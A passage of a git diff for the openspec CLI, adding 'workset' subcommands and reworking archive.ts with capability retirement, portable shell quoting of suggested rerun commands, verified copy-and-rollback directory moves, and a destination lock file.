choose') + .option( + '--member <member>', + 'Member folder as <path> or <name>=<path>; repeatable, first is the primary', + collectMember, + [] as string[] + ) + .option('--tool <id>', 'Preferred tool to open this workset with') + .option('--json', 'Output as JSON') + .action(async (name: string | undefined, _options: WorksetCreateOptions, command: Command) => { + await worksetCommand.create(name, command.optsWithGlobals()); + }); + + workset + .command('list') + .alias('ls') + .description('Show saved worksets with their members') + .option('--json', 'Output as JSON') + .action(async (_options: { json?: boolean }, command: Command) => { + await worksetCommand.list(command.optsWithGlobals()); + }); + + workset + .command('open <name>') + .description('Open a saved workset in your tool (editor window or agent session)') + .option('--tool <id>', 'Open with this tool just this once') + .addOption( + // Parsed so Commander never owns the error; rejected in the + // action with one JSON document. Hidden because help should not + // advertise a mode that only rejects. + new Option('--json', 'Not supported for open').hideHelp() + ) + .action(async (name: string, _options: WorksetOpenOptions, command: Command) => { + await worksetCommand.open(name, command.optsWithGlobals()); + }); + + workset + .command('remove <name>') + .description('Delete a saved workset (member folders are never touched)') + .option('--yes', 'Confirm removal non-interactively') + .option('--json', 'Output as JSON') + .action(async (name: string, _options: WorksetRemoveOptions, command: Command) => { + await worksetCommand.remove(name, command.optsWithGlobals()); + }); + + const subcommandsLine = workset.commands + .map((subcommand) => { + const aliases = subcommand.aliases(); + return aliases.length > 0 + ? `${subcommand.name()} (${aliases.join(', ')})` + : subcommand.name(); + }) + .join(', '); + + // One handler owns missing AND unknown subcommands: known + // subcommands dispatch above; everything else lands in this action + // (allowExcessArguments routes the unknown operand here), keeping + // the one-JSON-document contract for `--json` probes. + workset.allowExcessArguments(true); + workset.action(() => { + const attempted = workset.args.filter( + (operand) => !operand.startsWith('-') + ); + const message = + attempted.length > 0 + ? `Unknown command '${attempted[0]}' for 'openspec workset'. Workset subcommands: ${subcommandsLine}.` + : `Missing subcommand for 'openspec workset'. Workset subcommands: ${subcommandsLine}.`; + if (workset.opts().json) { + printJson({ + status: [ + { + severity: 'error', + code: 'unknown_workset_subcommand', + message, + fix: 'Run one of the workset subcommands.', + } satisfies StoreDiagnostic, + ], + }); + } else { + console.error(`Error: ${message}`); + } + process.exitCode = 1; + }); +} diff --git a/src/core/archive.ts b/src/core/archive.ts index 5af7181fce..20a2e9ed2c 100644 --- a/src/core/archive.ts +++ b/src/core/archive.ts @@ -1,89 +1,1152 @@ -import { promises as fs } from 'fs'; +import { constants, createReadStream, promises as fs } from 'fs'; +import { createHash, randomUUID } from 'crypto'; import path from 'path'; +import { formatLocalDate } from '../utils/date.js'; import { getTaskProgressForChange, formatTaskStatus } from '../utils/task-progress.js'; import { Validator } from './validation/validator.js'; +import { VALIDATION_MESSAGES } from './validation/constants.js'; import chalk from 'chalk'; +import { + emitStoreRootBanner, + isRootSelectionError, + resolveOpenSpecRoot, + toRootOutput, + withStoreFlag, + type ResolvedOpenSpecRoot, + isStoreSelectedRoot, +} from './root-selection.js'; import { findSpecUpdates, buildUpdatedSpec, writeUpdatedSpec, + retireSpec, + finalizeRetiredSpec, type SpecUpdate, } from './specs-apply.js'; +import { discoverSpecFiles, hasAnyFileUnder } from '../utils/spec-discovery.js'; +import { METADATA_FILENAME, readRetireCapabilitiesMarker, readSkipSpecsMarker } from '../utils/change-metadata.js'; +import { isNonInteractivePromptError } from '../utils/interactive.js'; +import { FileSystemUtils } from '../utils/file-system.js'; +import { folderStyleNameProblem } from './id.js'; + +function isMissingPathError(error: unknown): boolean { + return ( + typeof error === 'object' && + error !== null && + 'code' in error && + (error as NodeJS.ErrnoException).code === 'ENOENT' + ); +} + +/** + * Matches the `YYYY-MM-DD-` prefix that archiving prepends to a change name. + * A change whose name already starts with one (a common authoring convention) + * is archived under its existing name so the prefix is never stacked (#1309). + */ +const ARCHIVE_DATE_PREFIX_PATTERN = /^\d{4}-\d{2}-\d{2}-/; + +/** + * True when the ONLY thing wrong with a rebuilt spec is that it has no + * requirements. That is the exact failure retiring a capability replaces + * (#1302); anything else means the spec is broken in a way the author still has + * to fix, so archive must abort exactly as it always did instead of retiring. + * + * Asking the validator - rather than counting requirement blocks a second time - + * is what makes "this spec could not have been written anyway" true by + * construction. The two counts genuinely disagree: `MarkdownParser` accepts any + * `###` heading under `## Requirements` as a requirement, while the delta block + * parser only indexes canonical `### Requirement:` headers and sweeps the rest + * into the preamble, which survives into the rebuilt spec. + */ +export async function isRetirableSpec(specName: string, rebuilt: string): Promise<boolean> { + const report = await new Validator().validateSpecContent(specName, rebuilt); + if (report.valid) return false; + const errors = report.issues.filter((issue) => issue.level === 'ERROR'); + return ( + errors.length > 0 && + errors.every((issue) => issue.message === VALIDATION_MESSAGES.SPEC_NO_REQUIREMENTS) + ); +} + +/** + * What this run should do with a rebuilt spec: write it as usual, retire the + * capability because the delta removed its last requirement (#1302), or do + * nothing because there is no spec to write and none to retire. + */ +type SpecOutcome = 'write' | 'retire' | 'skip'; + +async function isRetirementCandidate( + update: SpecUpdate, + built: Pick< + Awaited<ReturnType<typeof buildUpdatedSpec>>, + 'rebuilt' | 'noRequirementBlocks' | 'unaccountedContent' + >, + skipValidation: boolean +): Promise<boolean> { + return ( + !skipValidation && + built.noRequirementBlocks && + built.unaccountedContent.length === 0 && + (await isRetirableSpec(update.id, built.rebuilt)) + ); +} + +async function decideSpecOutcome( + update: SpecUpdate, + built: Awaited<ReturnType<typeof buildUpdatedSpec>>, + skipValidation: boolean, + retirementDeclared: boolean +): Promise<SpecOutcome> { + // The author has to have asked. Without the marker this falls through to the + // ordinary write, which fails validation exactly as it always did - and the + // abort names the marker, so the dead end #1302 describes now comes with its + // own way out instead of just a rejected spec. + if (!retirementDeclared) return 'write'; + + // Retirement is decided by the validator, never by a second opinion about + // what counts as a requirement: the block parser sweeps some shapes the + // validator accepts into the preamble, so "no blocks left" alone would retire + // specs that validate fine. + // + // Residual `###` headings veto it outright. The validator can be talked out of + // seeing them - a stray `### Requirements` under Purpose captures its section + // lookup - but a reader cannot, and deleting the file would take them with it. + // + // Under --no-validate there is no verdict to lean on, so nothing is retired: + // the author opted out of the check that makes this safe, and the old + // behavior (write the spec) loses nothing. + // Nothing in the file may sit outside the parts the merge understands. Asked + // as "did anything land outside the parts I understand" rather than "does + // anything look like a requirement" - the second question is the one six + // review rounds each found a new way to answer wrongly. + const retirable = await isRetirementCandidate(update, built, skipValidation); + + if (!retirable) return 'write'; + // Nothing on disk to write or retire: the capability is already retired. + if (!update.exists) return 'skip'; + // A spec that was already requirement-less and lost nothing this run is still + // the author's to fix, so it takes the same abort it has always produced. + return built.counts.removed > 0 ? 'retire' : 'write'; +} + +async function listActiveChangeNames(changesDir: string): Promise<string[]> { + try { + const entries = await fs.readdir(changesDir, { withFileTypes: true }); + return entries + .filter((entry) => entry.isDirectory() && entry.name !== 'archive') + .map((entry) => entry.name) + .sort(); + } catch (error) { + if (!isMissingPathError(error)) throw error; + return []; + } +} + +export interface ArchiveOptions { + yes?: boolean; + skipSpecs?: boolean; + noValidate?: boolean; + validate?: boolean; + json?: boolean; + store?: string; + storePath?: string; +} + +interface ArchiveDiagnostic { + severity: 'error'; + code: string; + message: string; + fix?: string; +} + +interface ArchiveResult { + change: string; + archivedAs: string; + path: string; + specsUpdated: boolean; + totals?: { added: number; modified: number; removed: number; renamed: number }; + /** Non-blocking spec-merge warnings (e.g. a REMOVED requirement that was already gone). */ + warnings?: string[]; +} + +/** + * A decision point archive cannot get past on its own. Thrown wherever the + * flow needs an answer it has no way to obtain: in JSON mode, which never + * prompts at all, and in human mode when a prompt failed because nothing + * could answer it (#1479). Either way it carries a machine-readable + * diagnostic and exits non-zero. + */ +class ArchiveBlockedError extends Error { + readonly diagnostic: ArchiveDiagnostic; + + constructor(code: string, message: string, fix?: string) { + super(message); + this.name = 'ArchiveBlockedError'; + this.diagnostic = { + severity: 'error', + code, + message, + ...(fix ? { fix } : {}), + }; + } +} + +/** + * Quotes a change name for a `Fix:` line the reader is meant to paste. + * Archive resolves a change by stat-ing its directory, so the name is + * whatever the directory is called - including names with spaces or shell + * metacharacters, which pasted unquoted would run as a second command. + * + * Double quotes are the one form bash, zsh, PowerShell and cmd.exe all read + * the same way, so a POSIX-only `'...'` would be wrong on Windows. Characters + * that stay inert inside double quotes in every one of those shells are the + * limit of what can be quoted portably; a name containing anything else has + * no portable spelling, so the placeholder is named instead of emitting a + * command that might expand to something the reader did not intend. + * + * `%` and `!` are unquotable for the same reason even though POSIX shells + * leave them alone inside double quotes: cmd.exe expands `%NAME%` inside + * double quotes, and `!NAME!` expands there too under `setlocal + * enabledelayedexpansion` (as does `!` under bash's interactive history + * expansion). A change directory really can be named `%USERNAME%`, and a + * rerun that silently targets a different change is worse than one the reader + * has to fill in. + */ +function quoteChangeName(name: string): string { + return quoteForShell(name) ?? '<change-name>'; +} + +/** + * Quotes an argument for a line the reader is meant to paste, or returns + * undefined when no portable spelling exists. + * + * Double quotes are the one form bash, zsh, PowerShell and cmd.exe all read the + * same way. A value holding a character that stays special INSIDE double quotes + * in any of them has no portable spelling, so callers say something else rather + * than emit a command that expands to something the reader did not intend. + */ +function quoteForShell(value: string): string | undefined { + if (/^[A-Za-z0-9._\/-]+$/.test(value)) return value; + if (!/["\\$`\r\n%!]/.test(value)) return `"${value}"`; + return undefined; +} + +/** + * Renders a change name inside a prose message. The name is a directory name, + * so it can hold control characters, and human mode prints the message + * verbatim: a raw CR or LF would let a change directory forge its own `Fix:` + * line, which is worse here than anywhere else because `quoteChangeName` + * degrades the real fix to the `<change-name>` placeholder for exactly those + * names - leaving the forged line as the only pasteable command on screen. + * An ESC could redraw the terminal. Neither survives. + */ +function describeChangeName(name: string): string { + return name.replace(/[\u0000-\u001f\u007f]/g, '?'); +} + +/** + * Builds the flags a blocked archive's suggested rerun has to reproduce. The + * caller's own flags are carried, because suggesting a bare `--yes` rerun for + * `archive x --skip-specs` would merge deltas into the main specs - the exact + * thing `--skip-specs` was passed to prevent. + */ +function rerunFlags(options: ArchiveOptions): string[] { + return [ + ...(options.skipSpecs ? ['--skip-specs'] : []), + ...(options.validate === false || options.noValidate === true ? ['--no-validate'] : []), + '--yes', + ]; +} + +function rerunCommand( + root: ResolvedOpenSpecRoot, + changeName: string, + options: ArchiveOptions +): string { + const flags = rerunFlags(options).join(' '); + // A name starting with a dash is read as an option wherever it sits, so it + // goes last, behind the `--` that ends option parsing. The store flag has + // to stay in front of that `--` to still be read as an option. + if (changeName.startsWith('-')) { + return `${withStoreFlag(root, `openspec archive ${flags}`)} -- ${quoteChangeName(changeName)}`; + } + return withStoreFlag(root, `openspec archive ${quoteChangeName(changeName)} ${flags}`); +} + +/** + * Asks a yes/no question in human mode. When no answer can be read — the + * usual case for an AI agent or a script that runs the command with stdin + * closed — the raw @inquirer failure is replaced with guidance for this + * decision point, so the caller learns which flag to pass instead of reading + * `User force closed the prompt` (#1479). + */ +async function confirmOrBlock( + prompt: { message: string; default: boolean }, + blocked: () => ArchiveBlockedError +): Promise<boolean> { + const { confirm } = await import('@inquirer/prompts'); + try { + return await confirm(prompt); + } catch (error) { + if (isNonInteractivePromptError(error)) { + throw blocked(); + } + throw error; + } +} + +function toArchiveDiagnostic(error: unknown): ArchiveDiagnostic { + if (error instanceof ArchiveBlockedError) { + return error.diagnostic; + } + if (isRootSelectionError(error)) { + return error.diagnostic; + } + return { + severity: 'error', + code: 'archive_error', + message: error instanceof Error ? error.message : String(error), + }; +} /** * Recursively copy a directory. Used when fs.rename fails (e.g. EPERM on Windows). */ -async function copyDirRecursive(src: string, dest: string): Promise<void> { - await fs.mkdir(dest, { recursive: true }); +async function copySymbolicLink(src: string, dest: string): Promise<void> { + const target = await fs.readlink(src); + const isWindowsDirectoryLink = + process.platform === 'win32' && (await fs.stat(src)).isDirectory(); + const destinationTarget = + isWindowsDirectoryLink && !path.isAbsolute(target) + ? path.resolve(path.dirname(src), target) + : target; + await fs.symlink(destinationTarget, dest, isWindowsDirectoryLink ? 'junction' : undefined); +} + +async function copyDirContents(src: string, dest: string): Promise<void> { + const sourceStat = await fs.lstat(src); + // Keep group/other access no broader than the source while ensuring this + // process can populate even a read-only source directory. + await fs.chmod(dest, (sourceStat.mode & 0o7777) | 0o700); const entries = await fs.readdir(src, { withFileTypes: true }); for (const entry of entries) { const srcPath = path.join(src, entry.name); const destPath = path.join(dest, entry.name); if (entry.isDirectory()) { - await copyDirRecursive(srcPath, destPath); + await fs.mkdir(destPath, { mode: 0o700 }); + await copyDirContents(srcPath, destPath); + } else if (entry.isSymbolicLink()) { + await copySymbolicLink(srcPath, destPath); + } else if (entry.isFile()) { + await fs.copyFile(srcPath, destPath, constants.COPYFILE_EXCL); } else { - await fs.copyFile(srcPath, destPath); + throw new Error(`Cannot archive unsupported filesystem entry: ${srcPath}`); } } + await fs.chmod(dest, sourceStat.mode & 0o7777); +} + +async function fingerprintDirectoryContents(root: string): Promise<string> { + const hash = createHash('sha256'); + const updateHashField = (label: string, value: string | Buffer): void => { + const labelBuffer = Buffer.from(label); + const valueBuffer = typeof value === 'string' ? Buffer.from(value) : value; + const lengths = Buffer.allocUnsafe(16); + lengths.writeBigUInt64BE(BigInt(labelBuffer.length), 0); + lengths.writeBigUInt64BE(BigInt(valueBuffer.length), 8); + hash.update(lengths); + hash.update(labelBuffer); + hash.update(valueBuffer); + }; + const fingerprintFile = async (filePath: string): Promise<Buffer> => { + const fileHash = createHash('sha256'); + for await (const chunk of createReadStream(filePath)) { + fileHash.update(chunk); + } + return fileHash.digest(); + }; + + const visit = async (dir: string, relativeDir: string): Promise<void> => { + const before = await fs.lstat(dir, { bigint: true }); + if (!before.isDirectory()) { + throw new Error(`Expected a directory while verifying ${dir}.`); + } + updateHashField('directory-mode', (before.mode & 0o7777n).toString()); + const entries = (await fs.readdir(dir, { withFileTypes: true })).sort((a, b) => + a.name < b.name ? -1 : a.name > b.name ? 1 : 0 + ); + + for (const entry of entries) { + const entryPath = path.join(dir, entry.name); + const relativePath = path.join(relativeDir, entry.name); + const stat = await fs.lstat(entryPath, { bigint: true }); + updateHashField('path', relativePath); + + if (stat.isDirectory()) { + updateHashField('type', 'directory'); + await visit(entryPath, relativePath); + } else if (stat.isSymbolicLink()) { + const target = await fs.readlink(entryPath); + const after = await fs.lstat(entryPath, { bigint: true }); + if (statIdentity(stat) !== statIdentity(after)) { + throw new Error(`Path changed while archive was reading ${entryPath}.`); + } + updateHashField('type', 'symlink'); + updateHashField('target', target); + } else if (stat.isFile()) { + const contentFingerprint = await fingerprintFile(entryPath); + const after = await fs.lstat(entryPath, { bigint: true }); + if (statIdentity(stat) !== statIdentity(after)) { + throw new Error(`Path changed while archive was reading ${entryPath}.`); + } + updateHashField('type', 'file'); + updateHashField('mode', (stat.mode & 0o7777n).toString()); + updateHashField('content-sha256', contentFingerprint); + } else { + updateHashField('type', 'other'); + updateHashField('mode', stat.mode.toString()); + updateHashField('size', stat.size.toString()); + } + } + + const after = await fs.lstat(dir, { bigint: true }); + if (statIdentity(before) !== statIdentity(after)) { + throw new Error(`Directory changed while archive was reading ${dir}.`); + } + }; + + await visit(root, ''); + return hash.digest('hex'); +} + +async function assertCopiedDirectoryUnchanged( + stagedSource: string, + destination: string, + expectedFingerprint: string +): Promise<void> { + const sourceFingerprint = await fingerprintDirectoryContents(stagedSource); + const destinationFingerprint = await fingerprintDirectoryContents(destination); + if ( + sourceFingerprint !== expectedFingerprint || + destinationFingerprint !== expectedFingerprint + ) { + throw new Error( + `Change directory contents changed during the fallback copy from ${stagedSource} to ${destination}.` + ); + } } /** - * Move a directory from src to dest. On Windows, fs.rename() often fails with - * EPERM when the directory is non-empty or another process has it open (IDE, - * file watcher, antivirus). Fall back to copy-then-remove when rename fails - * with EPERM or EXDEV. + * Move a directory from src to dest. On Windows, fs.rename() can fail with + * EPERM, and cross-device moves fail with EXDEV. When the source can first be + * renamed to a private sibling, fall back to a verified copy-then-remove. A + * source that cannot be staged is left untouched rather than copied and deleted + * through a path another process may still be editing. */ -async function moveDirectory(src: string, dest: string): Promise<void> { +class MoveDestinationRetainedError extends Error {} +class RetirementBackupsRetainedError extends Error {} + +async function moveDirectory( + src: string, + dest: string, + options: { + verifyCopiedDestination?: (stagedSource: string) => Promise<void>; + } = {} +): Promise<void> { try { await fs.rename(src, dest); } catch (err: any) { const code = err?.code; + // rename onto a non-empty directory: the destination was taken while the + // archive was running. Same condition the pre-flight check reports. + if (code === 'ENOTEMPTY' || code === 'EEXIST') { + throw new ArchiveBlockedError( + 'archive_target_exists', + `Archive '${path.basename(dest)}' already exists.` + ); + } if (code === 'EPERM' || code === 'EXDEV') { - await copyDirRecursive(src, dest); - await fs.rm(src, { recursive: true, force: true }); + const stagedSource = path.join(path.dirname(src), `.openspec-move-${randomUUID()}`); + try { + await fs.rename(src, stagedSource); + } catch (stageError) { + throw new Error( + `Could not safely stage ${src} before the fallback archive copy ` + + `(${stageError instanceof Error ? stageError.message : String(stageError)}). ` + + 'No fallback copy was attempted.' + ); + } + let destIsOurs = false; + let stagedFingerprint: string; + try { + stagedFingerprint = await fingerprintDirectoryContents(stagedSource); + await fs.mkdir(dest, { mode: 0o700 }); + destIsOurs = true; + await copyDirContents(stagedSource, dest); + await options.verifyCopiedDestination?.(stagedSource); + await assertCopiedDirectoryUnchanged(stagedSource, dest, stagedFingerprint); + } catch (copyError) { + if (destIsOurs) { + await fs.rm(dest, { recursive: true, force: true }).catch(() => undefined); + } + try { + await fs.rename(stagedSource, src); + } catch (restoreError) { + throw new Error( + `${copyError instanceof Error ? copyError.message : String(copyError)} ` + + `Could not restore the staged source at ${stagedSource} ` + + `(${restoreError instanceof Error ? restoreError.message : String(restoreError)}).` + ); + } + if ((copyError as NodeJS.ErrnoException).code === 'EEXIST') { + throw new ArchiveBlockedError( + 'archive_target_exists', + `Archive '${path.basename(dest)}' already exists.` + ); + } + throw copyError; + } + try { + await options.verifyCopiedDestination?.(stagedSource); + await assertCopiedDirectoryUnchanged(stagedSource, dest, stagedFingerprint); + } catch (verificationError) { + await fs.rm(dest, { recursive: true, force: true }).catch(() => undefined); + try { + await fs.rename(stagedSource, src); + } catch (restoreError) { + throw new Error( + `${verificationError instanceof Error ? verificationError.message : String(verificationError)} ` + + `Could not restore the staged source at ${stagedSource} ` + + `(${restoreError instanceof Error ? restoreError.message : String(restoreError)}).` + ); + } + throw verificationError; + } + try { + await fs.rm(stagedSource, { recursive: true, force: true }); + } catch (cleanupError) { + // Recursive removal may already have deleted part of the source. The + // destination is now the only complete copy, so never erase it while + // trying to make this failed move look atomic. + throw new MoveDestinationRetainedError( + `Copied ${src} to ${dest}, but could not remove the staged source at ` + + `${stagedSource} completely ` + + `(${cleanupError instanceof Error ? cleanupError.message : String(cleanupError)}). ` + + 'The complete destination was retained for recovery.' + ); + } } else { throw err; } } } +async function assertArchiveDestinationAvailable( + archivePath: string, + archiveName: string +): Promise<void> { + try { + await fs.lstat(archivePath); + throw new ArchiveBlockedError( + 'archive_target_exists', + `Archive '${archiveName}' already exists.` + ); + } catch (error: any) { + if (error instanceof ArchiveBlockedError) throw error; + if (error.code !== 'ENOENT') throw error; + } +} + +function archiveClaimPath(archivePath: string, _archiveName: string): string { + return path.join(path.dirname(archivePath), '.openspec-archive.lock'); +} + +interface ArchiveClaim { + handle: Awaited<ReturnType<typeof fs.open>>; + contents: string; +} + +async function releaseArchiveClaim( + claim: ArchiveClaim, + claimPath: string +): Promise<void> { + const owned = await claim.handle.stat({ bigint: true }).catch(() => undefined); + await claim.handle.close().catch(() => undefined); + if (owned === undefined) return; + try { + // Read between two lstats by design: the identity + content match below + // proves we still own this claim before unlinking it. This is a concurrent- + // change detector, not an fd-less race to "fix" (CodeQL js/file-system-race). + const current = await fs.lstat(claimPath, { bigint: true }); + const contents = await fs.readFile(claimPath, 'utf8'); + const currentAfterRead = await fs.lstat(claimPath, { bigint: true }); + if ( + current.dev === owned.dev && + current.ino === owned.ino && + current.dev === currentAfterRead.dev && + current.ino === currentAfterRead.ino && + contents === claim.contents + ) { + await fs.unlink(claimPath); + } + } catch (error) { + if ((error as NodeJS.ErrnoException).code !== 'ENOENT') throw error; + } +} + +async function claimArchiveDestination( + archivePath: string, + archiveName: string +): Promise<ArchiveClaim> { + const claimPath = archiveClaimPath(archivePath, archiveName); + try { + const handle = await fs.open(claimPath, 'wx'); + const claim = { + handle, + contents: JSON.stringify({ pid: process.pid, nonce: randomUUID() }), + }; + try { + await handle.writeFile(claim.contents); + await handle.sync(); + return claim; + } catch (error) { + await releaseArchiveClaim(claim, claimPath).catch(() => undefined); + throw error; + } + } catch (error) { + if ((error as NodeJS.ErrnoException).code === 'EEXIST') { + throw new ArchiveBlockedError( + 'archive_target_exists', + `Archive '${archiveName}' is already being created. If no archive process is running, ` + + `remove the stale claim at ${claimPath} and rerun.` + ); + } + throw error; + } +} + +interface SpecSnapshot { + target: string; + existed: boolean; + outcome: 'write' | 'retire'; + expectedContent?: Buffer; + content?: Buffer; + contentExisted?: boolean; + mode?: number; + symlink?: string; + displacedPath?: string; + displacedFingerprint?: string; +} + +interface SpecMutation { + update: SpecUpdate; + outcome: 'write' | 'retire'; + rebuilt: string; +} + +function statIdentity(value: { + dev: bigint; + ino: bigint; + mode: bigint; + size: bigint; + mtimeNs: bigint; + ctimeNs: bigint; +}): string { + return `${value.dev}:${value.ino}:${value.mode}:${value.size}:${value.mtimeNs}:${value.ctimeNs}`; +} + +function movableStatIdentity(value: { + dev: bigint; + ino: bigint; + mode: bigint; + size: bigint; +}): string { + return `${value.dev}:${value.ino}:${value.mode}:${value.size}`; +} + +async function fingerprintPath(filePath: string): Promise<string> { + try { + const stat = await fs.lstat(filePath, { bigint: true }); + const digest = async (): Promise<string> => + createHash('sha256').update(await fs.readFile(filePath)).digest('hex'); + if (stat.isSymbolicLink()) { + const link = await fs.readlink(filePath); + try { + const referentBefore = await fs.stat(filePath, { bigint: true }); + const hash = await digest(); + const referentAfter = await fs.stat(filePath, { bigint: true }); + const entryAfter = await fs.lstat(filePath, { bigint: true }); + if ( + statIdentity(stat) !== statIdentity(entryAfter) || + statIdentity(referentBefore) !== statIdentity(referentAfter) || + link !== (await fs.readlink(filePath)) + ) { + throw new Error(`Path changed while archive was reading ${filePath}.`); + } + return `symlink:${statIdentity(stat)}:${link}:${statIdentity(referentAfter)}:${hash}`; + } catch (error) { + if ((error as NodeJS.ErrnoException).code === 'ENOENT') { + return `symlink:${statIdentity(stat)}:${link}:missing`; + } + throw error; + } + } + if (stat.isFile()) { + const hash = await digest(); + const after = await fs.lstat(filePath, { bigint: true }); + if (statIdentity(stat) !== statIdentity(after)) { + throw new Error(`Path changed while archive was reading ${filePath}.`); + } + return `file:${statIdentity(after)}:${hash}`; + } + return `other:${statIdentity(stat)}`; + } catch (error) { + if ((error as NodeJS.ErrnoException).code === 'ENOENT') return 'missing'; + throw error; + } +} + +async function fingerprintMovablePath(filePath: string): Promise<string> { + try { + const entry = await fs.lstat(filePath, { bigint: true }); + // Deliberate stat -> read -> re-stat: a concurrent change is DETECTED by the + // statIdentity comparison below and throws. Do not collapse to fd I/O, which + // would pin one inode and blind the detector (CodeQL js/file-system-race). + const hash = createHash('sha256') + .update(await fs.readFile(filePath)) + .digest('hex'); + if (entry.isSymbolicLink()) { + const link = await fs.readlink(filePath); + const referent = await fs.stat(filePath, { bigint: true }); + const entryAfter = await fs.lstat(filePath, { bigint: true }); + const referentAfter = await fs.stat(filePath, { bigint: true }); + const linkAfter = await fs.readlink(filePath); + if ( + statIdentity(entry) !== statIdentity(entryAfter) || + statIdentity(referent) !== statIdentity(referentAfter) || + link !== linkAfter + ) { + throw new Error(`Path changed while archive was reading ${filePath}.`); + } + return ( + `symlink:${movableStatIdentity(entry)}:${link}:` + + `${movableStatIdentity(referentAfter)}:${hash}` + ); + } + const entryAfter = await fs.lstat(filePath, { bigint: true }); + if (statIdentity(entry) !== statIdentity(entryAfter)) { + throw new Error(`Path changed while archive was reading ${filePath}.`); + } + return `file:${movableStatIdentity(entry)}:${hash}`; + } catch (error) { + if ((error as NodeJS.ErrnoException).code === 'ENOENT') return 'missing'; + throw error; + } +} + +async function fingerprintPortableContent(filePath: string): Promise<string> { + try { + const entry = await fs.lstat(filePath); + // Point-in-time content hash by design (no re-stat): callers compare it + // against a prior fingerprint of the same bytes, so any concurrent change + // surfaces as a hash mismatch (CodeQL js/file-system-race is a false positive here). + const hash = createHash('sha256') + .update(await fs.readFile(filePath)) + .digest('hex'); + return entry.isSymbolicLink() + ? `symlink:${await fs.readlink(filePath)}:${hash}` + : `file:${hash}`; + } catch (error) { + if ((error as NodeJS.ErrnoException).code === 'ENOENT') return 'missing'; + throw error; + } +} + +/** Fail closed if the metadata authorizing a retirement leaves its snapshot. */ +async function assertRetirementAuthorization( + changeDir: string, + expectedFingerprint: string, + options: { verifyMarker?: boolean } = {} +): Promise<void> { + const metadataPath = path.join(changeDir, METADATA_FILENAME); + const before = await fingerprintPortableContent(metadataPath); + const markerStillDeclared = + options.verifyMarker === false || readRetireCapabilitiesMarker(changeDir).declared; + const after = await fingerprintPortableContent(metadataPath); + if ( + before !== expectedFingerprint || + after !== expectedFingerprint || + !markerStillDeclared + ) { + throw new Error( + `The ${METADATA_FILENAME} retirement authorization changed before archive could complete.` + ); + } +} + +async function fingerprintSpecInputs(update: SpecUpdate): Promise<string> { + return `${await fingerprintPath(update.source)}\n${await fingerprintPath(update.target)}`; +} + +async function mutationTargetIdentity(mutation: SpecMutation): Promise<string> { + try { + const stat = await fs.stat(mutation.update.target, { bigint: true }); + return `${stat.dev}:${stat.ino}`; + } catch (error) { + if ((error as NodeJS.ErrnoException).code === 'ENOENT') { + const parent = path.dirname(mutation.update.target); + const realParent = await fs.realpath(parent).catch(() => path.resolve(parent)); + return `missing:${path.join(realParent, path.basename(mutation.update.target))}`; + } + throw error; + } +} + +async function assertDistinctMutationTargets(mutations: SpecMutation[]): Promise<void> { + const owners = new Map<string, string>(); + for (const mutation of mutations) { + const identity = await mutationTargetIdentity(mutation); + const existing = owners.get(identity); + if (existing !== undefined) { + throw new Error( + `Spec updates for '${existing}' and '${mutation.update.id}' resolve to the same target ` + + `${identity}. Replace the capability alias or combine the deltas before archiving.` + ); + } + owners.set(identity, mutation.update.id); + } +} + +async function captureSpecSnapshots(mutations: SpecMutation[]): Promise<SpecSnapshot[]> { + return Promise.all( + mutations.map(async ({ update, outcome, rebuilt }) => { + try { + const stat = await fs.lstat(update.target); + if (stat.isSymbolicLink()) { + let content: Buffer | undefined; + let contentExisted = false; + if (outcome === 'write') { + try { + // Best-effort rollback snapshot; a concurrent edit is caught later + // by restoreSpecSnapshots refusing to overwrite non-matching content, + // not here (CodeQL js/file-system-race). + content = await fs.readFile(update.target); + contentExisted = true; + } catch (error) { + if ((error as NodeJS.ErrnoException).code !== 'ENOENT') throw error; + } + } + return { + target: update.target, + existed: true, + outcome, + ...(outcome === 'write' ? { expectedContent: Buffer.from(rebuilt) } : {}), + content, + contentExisted, + symlink: await fs.readlink(update.target), + }; + } + return { + target: update.target, + existed: true, + outcome, + ...(outcome === 'write' ? { expectedContent: Buffer.from(rebuilt) } : {}), + // Snapshot read for rollback; restoreSpecSnapshots re-checks this + // content before restoring, so a mid-run change aborts instead of + // clobbering (CodeQL js/file-system-race). + ...(stat.isFile() ? { content: await fs.readFile(update.target) } : {}), + ...(stat.isFile() ? { mode: stat.mode } : {}), + }; + } catch (error) { + if ((error as NodeJS.ErrnoException).code === 'ENOENT') { + return { + target: update.target, + existed: false, + outcome, + ...(outcome === 'write' ? { expectedContent: Buffer.from(rebuilt) } : {}), + }; + } + throw error; + } + }) + ); +} + +async function restoreSpecSnapshots(snapshots: SpecSnapshot[]): Promise<void> { + const errors: Error[] = []; + for (const snapshot of [...snapshots].reverse()) { + try { + if (snapshot.outcome === 'retire') { + if (snapshot.displacedPath !== undefined) { + try { + await fs.lstat(snapshot.target); + throw new Error( + `Archive rollback would overwrite a concurrent change at ${snapshot.target}. ` + + `The displaced spec was retained at ${snapshot.displacedPath}.` + ); + } catch (error) { + if ((error as NodeJS.ErrnoException).code !== 'ENOENT') throw error; + } + await fs.rename(snapshot.displacedPath, snapshot.target); + snapshot.displacedPath = undefined; + continue; + } + try { + const current = await fs.lstat(snapshot.target); + const unchangedSymlink = + snapshot.symlink !== undefined && + current.isSymbolicLink() && + (await fs.readlink(snapshot.target)) === snapshot.symlink; + // Re-read to confirm the target still holds the snapshot content; a + // mismatch means a concurrent edit, and rollback throws below rather + // than overwrite it (CodeQL js/file-system-race is intentional here). + const unchangedFile = + snapshot.symlink === undefined && + snapshot.content !== undefined && + current.isFile() && + (await fs.readFile(snapshot.target)).equals(snapshot.content); + if (unchangedSymlink || unchangedFile) continue; + throw new Error( + `Archive rollback would overwrite a concurrent change at ${snapshot.target}.` + ); + } catch (error) { + if ((error as NodeJS.ErrnoException).code !== 'ENOENT') throw error; + } + } else { + let current; + try { + current = await fs.lstat(snapshot.target); + } catch (error) { + if ( + (error as NodeJS.ErrnoException).code === 'ENOENT' && + !snapshot.existed + ) { + continue; + } + throw error; + } + if ( + (snapshot.symlink !== undefined && + (!current.isSymbolicLink() || + (await fs.readlink(snapshot.target)) !== snapshot.symlink)) || + (snapshot.symlink === undefined && + (!current.isFile() || + (snapshot.mode !== undefined && current.mode !== snapshot.mode))) + ) { + throw new Error( + `Archive rollback would overwrite a concurrent change at ${snapshot.target}.` + ); + } + // Re-read at rollback: only restore when current content matches what + // archive wrote or snapshotted; otherwise abort to preserve a concurrent + // change (CodeQL js/file-system-race is intentional here). + const currentContent = await fs.readFile(snapshot.target); + const originalContent = + snapshot.symlink !== undefined && !snapshot.contentExisted + ? undefined + : snapshot.content; + if ( + originalContent !== undefined && + currentContent.equals(originalContent) + ) { + continue; + } + if ( + 